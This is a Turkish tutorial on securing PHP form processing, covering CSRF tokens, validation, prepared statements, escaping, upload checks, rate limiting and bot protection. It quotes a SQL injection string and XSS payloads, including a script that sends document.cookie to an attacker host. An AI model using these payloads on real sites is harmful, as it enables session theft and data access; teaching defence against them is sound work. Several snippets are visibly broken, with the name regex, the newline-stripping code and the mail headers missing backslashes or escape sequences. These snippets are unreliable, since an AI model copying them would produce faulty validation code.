PHP İLE GÜVENLİ FORM İŞLEMEK
2024'te bir e-ticaret sitesi tek bir iletişim formundan başlayan saldırıyla hacklendi. Form, gelen mesajları direkt veritabanına yazıyordu; doğrulama yoktu. Saldırgan formun mesaj alanına SQL sorgusu yazdı, veritabanı erişim kazandı, müşteri verilerini sızdırdı. Tek bir basit önlem (prepared statement) bu saldırıyı önleyebilirdi.
Web uygulamalarında formlar saldırı yüzeyinin en geniş kısmı. Kullanıcının veri girebildiği her alan potansiyel risk: SQL injection, XSS (cross-site scripting), CSRF (cross-site request forgery), dosya yükleme istismarları, e-posta header injection. İyi haber: bunların tümünü önlemek için 5-7 temel pratik var; bu fonksiyonların imzaları ve doğru parametreleri PHP el kitabında tek tek açıklanıyor.
Form güvenliği bir kontrol listesi işidir: girdiyi doğrula, çıktıyı kaçışla, sorguyu prepared statement ile çalıştır, oturumu CSRF token ile mühürle. Her adımın PHP'de net bir fonksiyon karşılığı vardır ve liste eksiksiz uygulandığında en yaygın saldırı tipleri (XSS, SQL injection, CSRF) daha kapıda kesilir.
Yaygın saldırı tipleri
SQL Injection
Saldırgan form alanına SQL kodu yazar; doğrulama olmadan sorgu çalıştırıldığında veritabanına erişir. En yaygın ve en tehlikeli web saldırılarından biri.
// Tehlikeli kod
$kullanici = $_POST['kullanici'];
$sorgu = "SELECT * FROM users WHERE name = '$kullanici'";
// Saldırgan girer: ' OR '1'='1
// Sorgu: SELECT * FROM users WHERE name = '' OR '1'='1
// Sonuç: tüm kullanıcılar erişilirXSS (Cross-Site Scripting)
Saldırgan form alanına JavaScript kodu yazar. Doğrulama olmadan kullanıcının tarayıcısında çalıştırılır; oturum çerezi çalınabilir.
// Saldırgan girer: <script>alert('hacked')</script>
// Sayfada gösterilince script çalışır
// Daha kötü: <script>fetch('saldirgan.com?c='+document.cookie)</script>CSRF (Cross-Site Request Forgery)
Kullanıcı giriş yapmışken başka siteden link tıklarsa; arka planda formun otomatik gönderilmesi sağlanabilir. Kullanıcının haberi olmadan işlem yapılır.
E-posta header injection
İletişim formundan e-posta gönderirken; saldırgan e-posta alanına header karakterleri ( ) ekleyip kötü amaçlı e-posta yığını üretebilir.
Dosya yükleme istismarı
Saldırgan PHP dosyası yükler; sunucuda kötü amaçlı kod çalıştırır.
Katman 1: HTML form yapısı
Güvenlik HTML'den başlar. Form yapısı doğru kurulmalı.
<form method="POST" action="iletisim.php">
<input type="hidden" name="csrf_token"
value="<?= htmlspecialchars($_SESSION['csrf']) ?>">
<label for="ad">Ad</label>
<input type="text" id="ad" name="ad"
required maxlength="50">
<label for="eposta">E-posta</label>
<input type="email" id="eposta" name="eposta"
required maxlength="100">
<label for="mesaj">Mesaj</label>
<textarea id="mesaj" name="mesaj"
required maxlength="1000"></textarea>
<button type="submit">Gönder</button>
</form>Önemli noktalar:
- method="POST": Veri URL'de görünmez, log'larda kalmaz
- action="iletisim.php": Veri buraya gönderilir
- type="email": Tarayıcı format kontrolü yapar (sunucu doğrulamayı yine yapmalı)
- maxlength: Aşırı uzun veri girişini engeller
- required: Boş gönderimi engeller
- csrf_token: CSRF saldırılarına karşı koruma
Yine de tüm bu HTML kontrolleri sadece kullanıcı dostu; saldırgan bunları kolayca atlatabilir. Asıl güvenlik sunucu tarafında.
Katman 2: CSRF token
Form gösterilirken sunucu rastgele bir token üretir; oturuma kaydeder ve forma gizli alan olarak ekler. Form gönderildiğinde gelen token oturumdaki ile karşılaştırılır.
<?php
session_start();
// Form gösterilirken token üret
if (empty($_SESSION['csrf'])) {
$_SESSION['csrf'] = bin2hex(random_bytes(32));
}
// Form gönderildiğinde kontrol et
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (empty($_POST['csrf_token']) ||
!hash_equals($_SESSION['csrf'], $_POST['csrf_token'])) {
die('CSRF doğrulaması başarısız.');
}
// Token doğru, devam et
}
?>Bu yaklaşım başka sitelerden form gönderimini engeller; çünkü saldırgan oturumdaki token'ı bilemez.
Katman 3: Veri doğrulama
Gelen veriyi olduğu gibi kabul etmemek. Her alanın beklenen formatı vardır:
<?php
$ad = trim($_POST['ad'] ?? '');
$eposta = trim($_POST['eposta'] ?? '');
$mesaj = trim($_POST['mesaj'] ?? '');
$hatalar = [];
// Ad doğrulama
if (strlen($ad) < 2 || strlen($ad) > 50) {
$hatalar[] = 'Ad 2-50 karakter arası olmalı.';
}
if (!preg_match('/^[p{L}s]+$/u', $ad)) {
$hatalar[] = 'Ad sadece harf içerebilir.';
}
// E-posta doğrulama
if (!filter_var($eposta, FILTER_VALIDATE_EMAIL)) {
$hatalar[] = 'Geçerli e-posta giriniz.';
}
// Mesaj doğrulama
if (strlen($mesaj) < 10 || strlen($mesaj) > 1000) {
$hatalar[] = 'Mesaj 10-1000 karakter arası olmalı.';
}
if (!empty($hatalar)) {
// Hata göster
foreach ($hatalar as $hata) {
echo htmlspecialchars($hata) . '<br>';
}
exit;
}
?>Önemli noktalar:
- trim(): Başında ve sonundaki boşlukları temizler
- filter_var(FILTER_VALIDATE_EMAIL): PHP'nin yerleşik e-posta doğrulama
- preg_match() ile regex: Karakter sınırlamaları
- strlen() ile uzunluk: Aşırı veri engeli
- ?? '' (null coalescing): $_POST tanımsızsa boş döner; warning üretmez
Katman 4: SQL Injection koruması (Prepared Statements)
En kritik adım. Veritabanına veri yazılırken/okunurken parametre bağlama (parameter binding) kullanılır. Bu yaklaşımda kullanıcı verisi sorgu olarak değil veri olarak yorumlanır.
PDO ile prepared statement
<?php
try {
$pdo = new PDO('mysql:host=localhost;dbname=test;charset=utf8mb4',
'kullanici', 'sifre', [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_EMULATE_PREPARES => false,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC
]);
$sorgu = $pdo->prepare(
'INSERT INTO mesajlar (ad, eposta, mesaj, tarih)
VALUES (:ad, :eposta, :mesaj, NOW())'
);
$sorgu->execute([
':ad' => $ad,
':eposta' => $eposta,
':mesaj' => $mesaj
]);
} catch (PDOException $e) {
error_log($e->getMessage());
die('Bir hata oluştu.');
}
?>Burada :ad, :eposta, :mesaj placeholder'lardır. execute() ile veriler bağlanır. Saldırgan SQL kodu girse bile veritabanı bunu sorgu olarak değil veri olarak değerlendirir; injection mümkün değil.
MySQLi alternatifi
<?php
$mysqli = new mysqli('localhost', 'user', 'pass', 'db');
$stmt = $mysqli->prepare(
'INSERT INTO mesajlar (ad, eposta, mesaj) VALUES (?, ?, ?)'
);
$stmt->bind_param('sss', $ad, $eposta, $mesaj);
$stmt->execute();
?>PDO modern projeler için daha tercih edilir; çoklu veritabanı desteği var ve syntax temiz.

Katman 5: XSS koruması (Output Escaping)
Kullanıcı verisi sayfada gösterilirken HTML olarak yorumlanmamalı. htmlspecialchars() bu işi yapar.
<?php
// Tehlikeli
echo $mesaj;
// Saldırgan girdi: <script>alert('hi')</script>
// Script tarayıcıda çalışır
// Güvenli
echo htmlspecialchars($mesaj, ENT_QUOTES, 'UTF-8');
// <script> karakterleri <script> olur
// Tarayıcıya metin olarak gösterilir, script çalışmaz
?>Pratik kural: kullanıcıdan gelen tüm veri ekrana yazılırken htmlspecialchars() ile escape edilir. Tek istisna: zenginleştirilmiş metin editörü çıktısı (bu durumda HTML Purifier gibi kütüphane kullanılır).
Katman 6: E-posta gönderimi
İletişim formundan e-posta gönderirken header injection riski var. Doğru yöntem:
<?php
$eposta = filter_var($_POST['eposta'], FILTER_SANITIZE_EMAIL);
$ad = preg_replace('/[
]+/', '', trim($_POST['ad']));
$mesaj = trim($_POST['mesaj']);
if (!filter_var($eposta, FILTER_VALIDATE_EMAIL)) {
die('Geçersiz e-posta.');
}
$kime = 'admin@siteniz.com';
$konu = 'Yeni iletişim formu mesajı';
$icerik = "Ad: $ad
E-posta: $eposta
Mesaj:
$mesaj";
$headers = "From: noreply@siteniz.com
";
$headers .= "Reply-To: $eposta
";
mail($kime, $konu, $icerik, $headers);
?>Daha modern yaklaşım: PHPMailer veya Symfony Mailer kütüphanesi. SMTP üzerinden güvenli gönderim, otomatik header sanitization.
Katman 7: Dosya yükleme güvenliği
Dosya yükleme formu varsa ekstra dikkat:
<?php
$izinli_tipler = ['image/jpeg', 'image/png', 'image/webp'];
$izinli_uzantilar = ['jpg', 'jpeg', 'png', 'webp'];
$maks_boyut = 2 * 1024 * 1024; // 2 MB
if ($_FILES['dosya']['error'] !== UPLOAD_ERR_OK) {
die('Yükleme hatası.');
}
if ($_FILES['dosya']['size'] > $maks_boyut) {
die('Dosya çok büyük.');
}
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime = $finfo->file($_FILES['dosya']['tmp_name']);
if (!in_array($mime, $izinli_tipler)) {
die('İzinli olmayan dosya tipi.');
}
$uzanti = pathinfo($_FILES['dosya']['name'], PATHINFO_EXTENSION);
if (!in_array(strtolower($uzanti), $izinli_uzantilar)) {
die('İzinli olmayan uzantı.');
}
// Güvenli isim üret
$yeni_isim = bin2hex(random_bytes(16)) . '.' . $uzanti;
$hedef = __DIR__ . '/uploads/' . $yeni_isim;
if (!move_uploaded_file($_FILES['dosya']['tmp_name'], $hedef)) {
die('Yükleme başarısız.');
}
?>Önemli kurallar:
- MIME tipi gerçek dosya içeriğinden okunur (kullanıcı isminden değil)
- Uzantı whitelist ile kontrol edilir
- Dosya adı rastgele üretilir (kullanıcının verdiği isim kullanılmaz)
- Yükleme klasörü web kök dışında veya .htaccess ile PHP çalıştırma engellenir
- Boyut sınırı belirlenir
Katman 8: Rate limiting
Bot saldırılarına karşı: aynı IP'den dakika başına 5'ten fazla form gönderimi engellenir. Basit cache ile uygulanır:
<?php
$ip = $_SERVER['REMOTE_ADDR'];
$cache_key = 'rate_limit_' . md5($ip);
$count = apcu_fetch($cache_key);
if ($count === false) {
apcu_store($cache_key, 1, 60); // 60 saniye
} elseif ($count >= 5) {
http_response_code(429);
die('Çok fazla istek. Daha sonra deneyin.');
} else {
apcu_inc($cache_key);
}
?>Redis veya Memcached ile production'da daha güçlü rate limiting kurulur.
Katman 9: Honeypot tekniği
Bot saldırılarına karşı kullanıcıya görünmeyen ama bot'ların doldurduğu gizli alan:
<!-- HTML -->
<input type="text" name="website"
style="display:none"
tabindex="-1" autocomplete="off"><?php
// Sunucu kontrolü
if (!empty($_POST['website'])) {
// Bot yakalandı; sessizce reddet
exit;
}
?>Gerçek kullanıcı bu alanı dolduramaz; bot otomatik tüm alanları doldurur. Basit ama etkili.
Katman 10: reCAPTCHA
Yüksek riskli formlar için Google reCAPTCHA v3 kullanılır. Görünmez çalışır; kullanıcı etkileşimi gerekmez. Sunucu tarafında doğrulama:
<?php
$token = $_POST['recaptcha_token'];
$secret = 'GOOGLE_VERILEN_SECRET';
$response = file_get_contents(
'https://www.google.com/recaptcha/api/siteverify?'
. http_build_query([
'secret' => $secret,
'response' => $token
])
);
$data = json_decode($response, true);
if (!$data['success'] || $data['score'] < 0.5) {
die('Doğrulama başarısız.');
}
?>Score 0-1 arası; 0.5 altı bot olma ihtimali yüksek. Modern bot koruması için reCAPTCHA v3 + honeypot + rate limiting kombinasyonu yeterli.

Güvenlik kontrol listesi
- HTML formda CSRF token gizli alan olarak ekli mi?
- Sunucuda CSRF token doğrulanıyor mu?
- Her form alanı için sunucu tarafı doğrulama var mı?
- Veritabanı işlemleri prepared statement ile mi yapılıyor?
- Ekrana basılan kullanıcı verisi htmlspecialchars ile escape ediliyor mu?
- E-posta header'larında karakterleri sanitize ediliyor mu?
- Dosya yüklemede MIME tipi içerikten okunuyor mu?
- Dosya yükleme klasöründe PHP çalıştırma engellenmiş mi?
- Rate limiting aktif mi?
- Honeypot veya reCAPTCHA bot koruması var mı?
- Hata mesajları kullanıcıya çıkıyor mu yoksa log'a mı düşüyor?
- HTTPS zorunlu mu (SSL sertifikası, secure cookie)?
Sürdürme Yolu
PHP güvenliği modern bir disiplindir; OWASP Top 10 listesi her yıl güncellenir. Yapıyı sağlam temellere oturtmak için PHP eğitimi programları temel söz diziminden güvenli kod yazımına kadar uygulamalı pratik sağlar.
Süreç Akışı
PHP ile güvenli form işlemek; HTML yapı, CSRF token, veri doğrulama, prepared statement, output escaping, e-posta sanitization, dosya yükleme güvenliği, rate limiting, honeypot ve reCAPTCHA olmak üzere on katmanın bir arada kullanılmasıyla mümkün olur. Hiçbiri tek başına yeterli değil; ama hepsi birlikte uygulandığında SQL injection, XSS, CSRF gibi temel saldırılar neredeyse tamamen engellenir. Güvenlik bir kez yapılıp unutulan değil sürekli izlenen bir süreçtir; OWASP Top 10 listesi yıllık takip edilmeli, PHP ve kütüphane güncellemeleri zamanında uygulanmalı.



